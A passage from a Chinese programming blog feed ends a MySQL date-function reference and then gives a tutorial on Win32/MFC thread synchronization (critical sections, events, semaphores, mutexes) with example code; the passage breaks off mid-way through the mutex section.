<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">当UNIX_TIMESTAMP被用于一个TIMESTAMP列，函数将直接接受值，没有隐含的&#8220;string-to-unix-timestamp&#8221;变换。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">FROM_UNIXTIME(unix_timestamp)&nbsp; <br>以'YYYY-MM-DD HH:MM:SS'或YYYYMMDDHHMMSS格式返回unix_timestamp参数所表示的值，取决于函数是在一个字符串 <br>还是或数字上下文中被使用。&nbsp; <br>mysql&gt; select FROM_UNIXTIME(875996580);&nbsp; <br>-&gt; '1997-10-04 22:23:00'&nbsp; <br>mysql&gt; select FROM_UNIXTIME(875996580) + 0;&nbsp; <br>-&gt; 19971004222300&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">FROM_UNIXTIME(unix_timestamp,format)&nbsp; <br>返回表示 Unix 时间标记的一个字符串，根据format字符串格式化。format可以包含与DATE_FORMAT()函数列出的条 <br>目同样的修饰符。&nbsp; <br>mysql&gt; select FROM_UNIXTIME(UNIX_TIMESTAMP(),&nbsp; <br>'%Y %D %M %h:%i:%s %x');&nbsp; <br>-&gt; '1997 23rd December 03:43:30 x'&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">SEC_TO_TIME(seconds)&nbsp; <br>返回seconds参数，变换成小时、分钟和秒，值以'HH:MM:SS'或HHMMSS格式化，取决于函数是在一个字符串还是在数字 <br>上下文中被使用。&nbsp; <br>mysql&gt; select SEC_TO_TIME(2378);&nbsp; <br>-&gt; '00:39:38'&nbsp; <br>mysql&gt; select SEC_TO_TIME(2378) + 0;&nbsp; <br>-&gt; 3938&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">TIME_TO_SEC(time)&nbsp; <br>返回time参数，转换成秒。&nbsp; <br>mysql&gt; select TIME_TO_SEC('22:23:00');&nbsp; <br>-&gt; 80580&nbsp; <br>mysql&gt; select TIME_TO_SEC('00:39:38');&nbsp; <br>-&gt; 2378 </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">&nbsp;</p>
<img src ="http://www.cppblog.com/niewenlong/aggbug/58900.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2008-08-15 00:28 <a href="http://www.cppblog.com/niewenlong/archive/2008/08/15/58900.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Visual C++线程同步技术 </title><link>http://www.cppblog.com/niewenlong/archive/2007/09/24/32784.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Mon, 24 Sep 2007 06:53:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/09/24/32784.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/32784.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/09/24/32784.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/32784.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/32784.html</trackback:ping><description><![CDATA[<div class=postText>
<p>线程同步的方式有：<br>　　临界区<br>　　管理事件内核对象<br>　　信号量内核对象<br>　　互斥内核对象<br>分别介绍如下：<br><br><strong>使线程同步<br><br></strong>　　在程序中使用多线程时，一般很少有多个线程能在其生命期内进行完全独立的操作。更多的情况是一些线程进行某些处理操作，而其他的线程必须对其处理结果进行了解。正常情况下对这种处理结果的了解应当在其处理任务完成后进行。<br><br>　　如果不采取适当的措施，其他线程往往会在线程处理任务结束前就去访问处理结果，这就很有可能得到有关处理结果的错误了解。例如，多个线程同时访问同一个全局变量，如果都是读取操作，则不会出现问题。如果一个线程负责改变此变量的值，而其他线程负责同时读取变量内容，则不能保证读取到的数据是经过写线程修改后的。<br><br>　　为了确保读线程读取到的是经过修改的变量，就必须在向变量写入数据时禁止其他线程对其的任何访问，直至赋值过程结束后再解除对其他线程的访问限制。象这种保证线程能了解其他线程任务处理结束后的处理结果而采取的保护措施即为线程同步。<br><br>　　线程同步是一个非常大的话题，包括方方面面的内容。从大的方面讲，线程的同步可分用户模式的线程同步和内核对象的线程同步两大类。用户模式中线程的同步方法主要有原子访问和临界区等方法。其特点是同步速度特别快，适合于对线程运行速度有严格要求的场合。<br><br>　　内核对象的线程同步则主要由事件、等待定时器、信号量以及信号灯等内核对象构成。由于这种同步机制使用了内核对象，使用时必须将线程从用户模式切换到内核模式，而这种转换一般要耗费近千个CPU周期，因此同步速度较慢，但在适用性上却要远优于用户模式的线程同步方式。<br><br><strong>临界区<br><br></strong>　　临界区（Critical Section）是一段独占对某些共享资源访问的代码，在任意时刻只允许一个线程对共享资源进行访问。如果有多个线程试图同时访问临界区，那么在有一个线程进入后其他所有试图访问此临界区的线程将被挂起，并一直持续到进入临界区的线程离开。临界区在被释放后，其他线程可以继续抢占，并以此达到用原子方式操作共享资源的目的。<br><br>　　临界区在使用时以CRITICAL_SECTION结构对象保护共享资源，并分别用EnterCriticalSection（）和LeaveCriticalSection（）函数去标识和释放一个临界区。所用到的CRITICAL_SECTION结构对象必须经过InitializeCriticalSection（）的初始化后才能使用，而且必须确保所有线程中的任何试图访问此共享资源的代码都处在此临界区的保护之下。否则临界区将不会起到应有的作用，共享资源依然有被破坏的可能。<br><br><img height=87 alt=thread01.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread01.jpg" width=178 border=0><br>图1 使用临界区保持线程同步<br><br>　　下面通过一段代码展示了临界区在保护多线程访问的共享资源中的作用。通过两个线程来分别对全局变量g_cArray[10]进行写入操作，用临界区结构对象g_cs来保持线程的同步，并在开启线程前对其进行初始化。为了使实验效果更加明显，体现出临界区的作用，在线程函数对共享资源g_cArray[10]的写入时，以Sleep（）函数延迟1毫秒，使其他线程同其抢占CPU的可能性增大。如果不使用临界区对其进行保护，则共享资源数据将被破坏（参见图1（a）所示计算结果），而使用临界区对线程保持同步后则可以得到正确的结果（参见图1（b）所示计算结果）。代码实现清单附下：<br><br></p>
<p>&#160;</p>
<p>&#160;</p>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 临界区结构对象<br>CRITICAL_SECTION g_cs;<br>// 共享资源 <br>char g_cArray[10];<br>UINT ThreadProc10(LPVOID pParam)<br>{<br>　// 进入临界区<br>　EnterCriticalSection(&amp;g_cs);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 离开临界区<br>　LeaveCriticalSection(&amp;g_cs);<br>　return 0;<br>}<br>UINT ThreadProc11(LPVOID pParam)<br>{<br>　// 进入临界区<br>　EnterCriticalSection(&amp;g_cs);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 离开临界区<br>　LeaveCriticalSection(&amp;g_cs);<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnCriticalSection() <br>{<br>　// 初始化临界区<br>　InitializeCriticalSection(&amp;g_cs);<br>　// 启动线程<br>　AfxBeginThread(ThreadProc10, NULL);<br>　AfxBeginThread(ThreadProc11, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
<br>　　在使用临界区时，一般不允许其运行时间过长，只要进入临界区的线程还没有离开，其他所有试图进入此临界区的线程都会被挂起而进入到等待状态，并会在一定程度上影响。程序的运行性能。尤其需要注意的是不要将等待用户输入或是其他一些外界干预的操作包含到临界区。如果进入了临界区却一直没有释放，同样也会引起其他线程的长时间等待。换句话说，在执行了EnterCriticalSection（）语句进入临界区后无论发生什么，必须确保与之匹配的LeaveCriticalSection（）都能够被执行到。可以通过添加结构化异常处理代码来确保LeaveCriticalSection（）语句的执行。虽然临界区同步速度很快，但却只能用来同步本进程内的线程，而不可用来同步多个进程中的线程。<br><br>　　MFC为临界区提供有一个CCriticalSection类，使用该类进行线程同步处理是非常简单的，只需在线程函数中用CCriticalSection类成员函数Lock（）和UnLock（）标定出被保护代码片段即可。对于上述代码，可通过CCriticalSection类将其改写如下：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// MFC临界区类对象<br>CCriticalSection g_clsCriticalSection;<br>// 共享资源 <br>char g_cArray[10];<br>UINT ThreadProc20(LPVOID pParam)<br>{<br>　// 进入临界区<br>　g_clsCriticalSection.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 离开临界区<br>　g_clsCriticalSection.Unlock();<br>　return 0;<br>}<br>UINT ThreadProc21(LPVOID pParam)<br>{<br>　// 进入临界区<br>　g_clsCriticalSection.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 离开临界区<br>　g_clsCriticalSection.Unlock();<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnCriticalSectionMfc() <br>{<br>　// 启动线程<br>　AfxBeginThread(ThreadProc20, NULL);<br>　AfxBeginThread(ThreadProc21, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
<br><strong>管理事件内核对象<br><br></strong>　　在前面讲述线程通信时曾使用过事件内核对象来进行线程间的通信，除此之外，事件内核对象也可以通过通知操作的方式来保持线程的同步。对于前面那段使用临界区保持线程同步的代码可用事件对象的线程同步方法改写如下：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 事件句柄<br>HANDLE hEvent = NULL;<br>// 共享资源 <br>char g_cArray[10];<br>&#8230;&#8230;<br>UINT ThreadProc12(LPVOID pParam)<br>{<br>　// 等待事件置位<br>　WaitForSingleObject(hEvent, INFINITE);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 处理完成后即将事件对象置位<br>　SetEvent(hEvent);<br>　return 0;<br>}<br>UINT ThreadProc13(LPVOID pParam)<br>{<br>　// 等待事件置位<br>　WaitForSingleObject(hEvent, INFINITE);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 处理完成后即将事件对象置位<br>　SetEvent(hEvent);<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnEvent() <br>{<br>　// 创建事件<br>　hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);<br>　// 事件置位<br>　SetEvent(hEvent);<br>　// 启动线程<br>　AfxBeginThread(ThreadProc12, NULL);<br>　AfxBeginThread(ThreadProc13, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
<br>　　在创建线程前，首先创建一个可以自动复位的事件内核对象hEvent，而线程函数则通过WaitForSingleObject（）等待函数无限等待hEvent的置位，只有在事件置位时WaitForSingleObject（）才会返回，被保护的代码将得以执行。对于以自动复位方式创建的事件对象，在其置位后一被WaitForSingleObject（）等待到就会立即复位，也就是说在执行ThreadProc12（）中的受保护代码时，事件对象已经是复位状态的，这时即使有ThreadProc13（）对CPU的抢占，也会由于WaitForSingleObject（）没有hEvent的置位而不能继续执行，也就没有可能破坏受保护的共享资源。在ThreadProc12（）中的处理完成后可以通过SetEvent（）对hEvent的置位而允许ThreadProc13（）对共享资源g_cArray的处理。这里SetEvent（）所起的作用可以看作是对某项特定任务完成的通知。<br><br>　　使用临界区只能同步同一进程中的线程，而使用事件内核对象则可以对进程外的线程进行同步，其前提是得到对此事件对象的访问权。可以通过OpenEvent（）函数获取得到，其函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE OpenEvent(<br>　DWORD dwDesiredAccess, // 访问标志<br>　BOOL bInheritHandle, // 继承标志<br>　LPCTSTR lpName // 指向事件对象名的指针<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　如果事件对象已创建（在创建事件时需要指定事件名），函数将返回指定事件的句柄。对于那些在创建事件时没有指定事件名的事件内核对象，可以通过使用内核对象的继承性或是调用DuplicateHandle（）函数来调用CreateEvent（）以获得对指定事件对象的访问权。在获取到访问权后所进行的同步操作与在同一个进程中所进行的线程同步操作是一样的。<br><br>　　如果需要在一个线程中等待多个事件，则用WaitForMultipleObjects（）来等待。WaitForMultipleObjects（）与WaitForSingleObject（）类似，同时监视位于句柄数组中的所有句柄。这些被监视对象的句柄享有平等的优先权，任何一个句柄都不可能比其他句柄具有更高的优先权。WaitForMultipleObjects（）的函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>DWORD WaitForMultipleObjects(<br>　DWORD nCount, // 等待句柄数<br>　CONST HANDLE *lpHandles, // 句柄数组首地址<br>　BOOL fWaitAll, // 等待标志<br>　DWORD dwMilliseconds // 等待时间间隔<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　参数nCount指定了要等待的内核对象的数目，存放这些内核对象的数组由lpHandles来指向。fWaitAll对指定的这nCount个内核对象的两种等待方式进行了指定，为TRUE时当所有对象都被通知时函数才会返回，为FALSE则只要其中任何一个得到通知就可以返回。dwMilliseconds在这里的作用与在WaitForSingleObject（）中的作用是完全一致的。如果等待超时，函数将返回WAIT_TIMEOUT。如果返回WAIT_OBJECT_0到WAIT_OBJECT_0+nCount-1中的某个值，则说明所有指定对象的状态均为已通知状态（当fWaitAll为TRUE时）或是用以减去WAIT_OBJECT_0而得到发生通知的对象的索引（当fWaitAll为FALSE时）。如果返回值在WAIT_ABANDONED_0与WAIT_ABANDONED_0+nCount-1之间，则表示所有指定对象的状态均为已通知，且其中至少有一个对象是被丢弃的互斥对象（当fWaitAll为TRUE时），或是用以减去WAIT_OBJECT_0表示一个等待正常结束的互斥对象的索引（当fWaitAll为FALSE时）。 下面给出的代码主要展示了对WaitForMultipleObjects（）函数的使用。通过对两个事件内核对象的等待来控制线程任务的执行与中途退出：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 存放事件句柄的数组<br>HANDLE hEvents[2];<br>UINT ThreadProc14(LPVOID pParam)<br>{ <br>　// 等待开启事件<br>　DWORD dwRet1 = WaitForMultipleObjects(2, hEvents, FALSE, INFINITE);<br>　// 如果开启事件到达则线程开始执行任务<br>　if (dwRet1 == WAIT_OBJECT_0)<br>　{<br>　　AfxMessageBox("线程开始工作!");<br>　　while (true)<br>　　{<br>　　　for (int i = 0; i &lt; 10000; i++);<br>　　　// 在任务处理过程中等待结束事件 <br>　　　DWORD dwRet2 = WaitForMultipleObjects(2, hEvents, FALSE, 0);<br>　　　// 如果结束事件置位则立即终止任务的执行<br>　　　if (dwRet2 == WAIT_OBJECT_0 + 1)<br>　　　　break;<br>　　}<br>　}<br>　AfxMessageBox("线程退出!");<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnStartEvent() <br>{<br>　// 创建线程<br>　for (int i = 0; i &lt; 2; i++)<br>　　hEvents[i] = CreateEvent(NULL, FALSE, FALSE, NULL);<br>　　// 开启线程<br>　　AfxBeginThread(ThreadProc14, NULL);<br>　　// 设置事件0(开启事件)<br>　　SetEvent(hEvents[0]);<br>}<br>void CSample08View::OnEndevent() <br>{<br>　// 设置事件1(结束事件)<br>　SetEvent(hEvents[1]);<br>}</td>
        </tr>
    </tbody>
</table>
<br>　　MFC为事件相关处理也提供了一个CEvent类，共包含有除构造函数外的4个成员函数PulseEvent（）、ResetEvent（）、SetEvent（）和UnLock（）。在功能上分别相当与Win32 API的PulseEvent（）、ResetEvent（）、SetEvent（）和CloseHandle（）等函数。而构造函数则履行了原CreateEvent（）函数创建事件对象的职责，其函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>CEvent(BOOL bInitiallyOwn = FALSE, BOOL bManualReset = FALSE, LPCTSTR lpszName = NULL, LPSECURITY_ATTRIBUTES lpsaAttribute = NULL );</td>
        </tr>
    </tbody>
</table>
<br>　　按照此缺省设置将创建一个自动复位、初始状态为复位状态的没有名字的事件对象。封装后的CEvent类使用起来更加方便，图2即展示了CEvent类对A、B两线程的同步过程：<br><br><img height=97 alt=Thread02.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/Thread02.jpg" width=329 border=0><br>图2 CEvent类对线程的同步过程示意<br><br>　　B线程在执行到CEvent类成员函数Lock（）时将会发生阻塞，而A线程此时则可以在没有B线程干扰的情况下对共享资源进行处理，并在处理完成后通过成员函数SetEvent（）向B发出事件，使其被释放，得以对A先前已处理完毕的共享资源进行操作。可见，使用CEvent类对线程的同步方法与通过API函数进行线程同步的处理方法是基本一致的。前面的API处理代码可用CEvent类将其改写为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// MFC事件类对象<br>CEvent g_clsEvent;<br>UINT ThreadProc22(LPVOID pParam)<br>{<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 事件置位<br>　g_clsEvent.SetEvent();<br>　return 0;<br>}<br>UINT ThreadProc23(LPVOID pParam)<br>{<br>　// 等待事件<br>　g_clsEvent.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnEventMfc() <br>{<br>　// 启动线程<br>　AfxBeginThread(ThreadProc22, NULL);<br>　AfxBeginThread(ThreadProc23, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
<br><strong>信号量内核对象<br><br></strong>　　信号量（Semaphore）内核对象对线程的同步方式与前面几种方法不同，它允许多个线程在同一时刻访问同一资源，但是需要限制在同一时刻访问此资源的最大线程数目。在用CreateSemaphore（）创建信号量时即要同时指出允许的最大资源计数和当前可用资源计数。一般是将当前可用资源计数设置为最大资源计数，每增加一个线程对共享资源的访问，当前可用资源计数就会减1，只要当前可用资源计数是大于0的，就可以发出信号量信号。但是当前可用计数减小到0时则说明当前占用资源的线程数已经达到了所允许的最大数目，不能在允许其他线程的进入，此时的信号量信号将无法发出。线程在处理完共享资源后，应在离开的同时通过ReleaseSemaphore（）函数将当前可用资源计数加1。在任何时候当前可用资源计数决不可能大于最大资源计数。<br><br><img height=82 alt=thread03.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread03.jpg" width=308 border=0><br>图3 使用信号量对象控制资源<br><br>　　下面结合图例3来演示信号量对象对资源的控制。在图3中，以箭头和白色箭头表示共享资源所允许的最大资源计数和当前可用资源计数。初始如图（a）所示，最大资源计数和当前可用资源计数均为4，此后每增加一个对资源进行访问的线程（用黑色箭头表示）当前资源计数就会相应减1，图（b）即表示的在3个线程对共享资源进行访问时的状态。当进入线程数达到4个时，将如图（c）所示，此时已达到最大资源计数，而当前可用资源计数也已减到0，其他线程无法对共享资源进行访问。在当前占有资源的线程处理完毕而退出后，将会释放出空间，图（d）已有两个线程退出对资源的占有，当前可用计数为2，可以再允许2个线程进入到对资源的处理。可以看出，信号量是通过计数来对线程访问资源进行控制的，而实际上信号量确实也被称作Dijkstra计数器。<br><br>　　使用信号量内核对象进行线程同步主要会用到CreateSemaphore（）、OpenSemaphore（）、ReleaseSemaphore（）、WaitForSingleObject（）和WaitForMultipleObjects（）等函数。其中，CreateSemaphore（）用来创建一个信号量内核对象，其函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE CreateSemaphore(<br>　LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, // 安全属性指针<br>　LONG lInitialCount, // 初始计数<br>　LONG lMaximumCount, // 最大计数<br>　LPCTSTR lpName // 对象名指针<br>); </td>
        </tr>
    </tbody>
</table>
<br>　　参数lMaximumCount是一个有符号32位值，定义了允许的最大资源计数，最大取值不能超过4294967295。lpName参数可以为创建的信号量定义一个名字，由于其创建的是一个内核对象，因此在其他进程中可以通过该名字而得到此信号量。OpenSemaphore（）函数即可用来根据信号量名打开在其他进程中创建的信号量，函数原型如下：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE OpenSemaphore(<br>　DWORD dwDesiredAccess, // 访问标志<br>　BOOL bInheritHandle, // 继承标志<br>　LPCTSTR lpName // 信号量名<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　在线程离开对共享资源的处理时，必须通过ReleaseSemaphore（）来增加当前可用资源计数。否则将会出现当前正在处理共享资源的实际线程数并没有达到要限制的数值，而其他线程却因为当前可用资源计数为0而仍无法进入的情况。ReleaseSemaphore（）的函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>BOOL ReleaseSemaphore(<br>　HANDLE hSemaphore, // 信号量句柄<br>　LONG lReleaseCount, // 计数递增数量<br>　LPLONG lpPreviousCount // 先前计数<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　该函数将lReleaseCount中的值添加给信号量的当前资源计数，一般将lReleaseCount设置为1，如果需要也可以设置其他的值。WaitForSingleObject（）和WaitForMultipleObjects（）主要用在试图进入共享资源的线程函数入口处，主要用来判断信号量的当前可用资源计数是否允许本线程的进入。只有在当前可用资源计数值大于0时，被监视的信号量内核对象才会得到通知。<br><br>　　信号量的使用特点使其更适用于对Socket（套接字）程序中线程的同步。例如，网络上的HTTP服务器要对同一时间内访问同一页面的用户数加以限制，这时可以为没一个用户对服务器的页面请求设置一个线程，而页面则是待保护的共享资源，通过使用信号量对线程的同步作用可以确保在任一时刻无论有多少用户对某一页面进行访问，只有不大于设定的最大用户数目的线程能够进行访问，而其他的访问企图则被挂起，只有在有用户退出对此页面的访问后才有可能进入。下面给出的示例代码即展示了类似的处理过程：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 信号量对象句柄<br>HANDLE hSemaphore;<br>UINT ThreadProc15(LPVOID pParam)<br>{ <br>　// 试图进入信号量关口<br>　WaitForSingleObject(hSemaphore, INFINITE);<br>　// 线程任务处理<br>　AfxMessageBox("线程一正在执行!");<br>　// 释放信号量计数<br>　ReleaseSemaphore(hSemaphore, 1, NULL);<br>　return 0;<br>}<br>UINT ThreadProc16(LPVOID pParam)<br>{ <br>　// 试图进入信号量关口<br>　WaitForSingleObject(hSemaphore, INFINITE);<br>　// 线程任务处理<br>　AfxMessageBox("线程二正在执行!");<br>　// 释放信号量计数<br>　ReleaseSemaphore(hSemaphore, 1, NULL);<br>　return 0;<br>}<br>UINT ThreadProc17(LPVOID pParam)<br>{ <br>　// 试图进入信号量关口<br>　WaitForSingleObject(hSemaphore, INFINITE);<br>　// 线程任务处理<br>　AfxMessageBox("线程三正在执行!");<br>　// 释放信号量计数<br>　ReleaseSemaphore(hSemaphore, 1, NULL);<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnSemaphore() <br>{<br>　// 创建信号量对象<br>　hSemaphore = CreateSemaphore(NULL, 2, 2, NULL);<br>　// 开启线程<br>　AfxBeginThread(ThreadProc15, NULL);<br>　AfxBeginThread(ThreadProc16, NULL);<br>　AfxBeginThread(ThreadProc17, NULL);<br>}</td>
        </tr>
    </tbody>
</table>
<br><img height=152 alt=thread04.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread04.jpg" width=242 border=0><br>图4 开始进入的两个线程<br><br><img height=152 alt=thread05.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread05.jpg" width=242 border=0><br>图5 线程二退出后线程三才得以进入<br><br>　　上述代码在开启线程前首先创建了一个初始计数和最大资源计数均为2的信号量对象hSemaphore。即在同一时刻只允许2个线程进入由hSemaphore保护的共享资源。随后开启的三个线程均试图访问此共享资源，在前两个线程试图访问共享资源时，由于hSemaphore的当前可用资源计数分别为2和1，此时的hSemaphore是可以得到通知的，也就是说位于线程入口处的WaitForSingleObject（）将立即返回，而在前两个线程进入到保护区域后，hSemaphore的当前资源计数减少到0，hSemaphore将不再得到通知，WaitForSingleObject（）将线程挂起。直到此前进入到保护区的线程退出后才能得以进入。图4和图5为上述代脉的运行结果。从实验结果可以看出，信号量始终保持了同一时刻不超过2个线程的进入。<br><br>　　在MFC中，通过CSemaphore类对信号量作了表述。该类只具有一个构造函数，可以构造一个信号量对象，并对初始资源计数、最大资源计数、对象名和安全属性等进行初始化，其原型如下：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>CSemaphore( LONG lInitialCount = 1, LONG lMaxCount = 1, LPCTSTR pstrName = NULL, LPSECURITY_ATTRIBUTES lpsaAttributes = NULL );</td>
        </tr>
    </tbody>
</table>
<br>　　在构造了CSemaphore类对象后，任何一个访问受保护共享资源的线程都必须通过CSemaphore从父类CSyncObject类继承得到的Lock（）和UnLock（）成员函数来访问或释放CSemaphore对象。与前面介绍的几种通过MFC类保持线程同步的方法类似，通过CSemaphore类也可以将前面的线程同步代码进行改写，这两种使用信号量的线程同步方法无论是在实现原理上还是从实现结果上都是完全一致的。下面给出经MFC改写后的信号量线程同步代码：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// MFC信号量类对象<br>CSemaphore g_clsSemaphore(2, 2);<br>UINT ThreadProc24(LPVOID pParam)<br>{ <br>　// 试图进入信号量关口<br>　g_clsSemaphore.Lock();<br>　// 线程任务处理<br>　AfxMessageBox("线程一正在执行!");<br>　// 释放信号量计数<br>　g_clsSemaphore.Unlock();<br>　return 0;<br>}<br>UINT ThreadProc25(LPVOID pParam)<br>{<br>　// 试图进入信号量关口<br>　g_clsSemaphore.Lock();<br>　// 线程任务处理<br>　AfxMessageBox("线程二正在执行!");<br>　// 释放信号量计数<br>　g_clsSemaphore.Unlock();<br>　return 0;<br>}<br>UINT ThreadProc26(LPVOID pParam)<br>{<br>　// 试图进入信号量关口<br>　g_clsSemaphore.Lock();<br>　// 线程任务处理<br>　AfxMessageBox("线程三正在执行!");<br>　// 释放信号量计数<br>　g_clsSemaphore.Unlock();<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnSemaphoreMfc() <br>{<br>　// 开启线程<br>　AfxBeginThread(ThreadProc24, NULL);<br>　AfxBeginThread(ThreadProc25, NULL);<br>　AfxBeginThread(ThreadProc26, NULL);<br>}</td>
        </tr>
    </tbody>
</table>
<br><br><strong>互斥内核对象<br><br></strong>　　互斥（Mutex）是一种用途非常广泛的内核对象。能够保证多个线程对同一共享资源的互斥访问。同临界区有些类似，只有拥有互斥对象的线程才具有访问资源的权限，由于互斥对象只有一个，因此就决定了任何情况下此共享资源都不会同时被多个线程所访问。当前占据资源的线程在任务处理完后应将拥有的互斥对象交出，以便其他线程在获得后得以访问资源。与其他几种内核对象不同，互斥对象在操作系统中拥有特殊代码，并由操作系统来管理，操作系统甚至还允许其进行一些其他内核对象所不能进行的非常规操作。为便于理解，可参照图6给出的互斥内核对象的工作模型：<br><br><img height=78 alt=thread06.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread06.jpg" width=401 border=0><br>图6 使用互斥内核对象对共享资源的保护<br><br>　　图（a）中的箭头为要访问资源（矩形框）的线程，但只有第二个线程拥有互斥对象（黑点）并得以进入到共享资源，而其他线程则会被排斥在外（如图（b）所示）。当此线程处理完共享资源并准备离开此区域时将把其所拥有的互斥对象交出（如图（c）所示），其他任何一个试图访问此资源的线程都有机会得到此互斥对象。<br><br>　　以互斥内核对象来保持线程同步可能用到的函数主要有CreateMutex（）、OpenMutex（）、ReleaseMutex（）、WaitForSingleObject（）和WaitForMultipleObjects（）等。在使用互斥对象前，首先要通过CreateMutex（）或OpenMutex（）创建或打开一个互斥对象。CreateMutex（）函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE CreateMutex(<br>　LPSECURITY_ATTRIBUTES lpMutexAttributes, // 安全属性指针<br>　BOOL bInitialOwner, // 初始拥有者<br>　LPCTSTR lpName // 互斥对象名<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　参数bInitialOwner主要用来控制互斥对象的初始状态。一般多将其设置为FALSE，以表明互斥对象在创建时并没有为任何线程所占有。如果在创建互斥对象时指定了对象名，那么可以在本进程其他地方或是在其他进程通过OpenMutex（）函数得到此互斥对象的句柄。OpenMutex（）函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE OpenMutex(<br>　DWORD dwDesiredAccess, // 访问标志<br>　BOOL bInheritHandle, // 继承标志<br>　LPCTSTR lpName // 互斥对象名<br>); </td>
        </tr>
    </tbody>
</table>
<br>　　当目前对资源具有访问权的线程不再需要访问此资源而要离开时，必须通过ReleaseMutex（）函数来释放其拥有的互斥对象，其函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
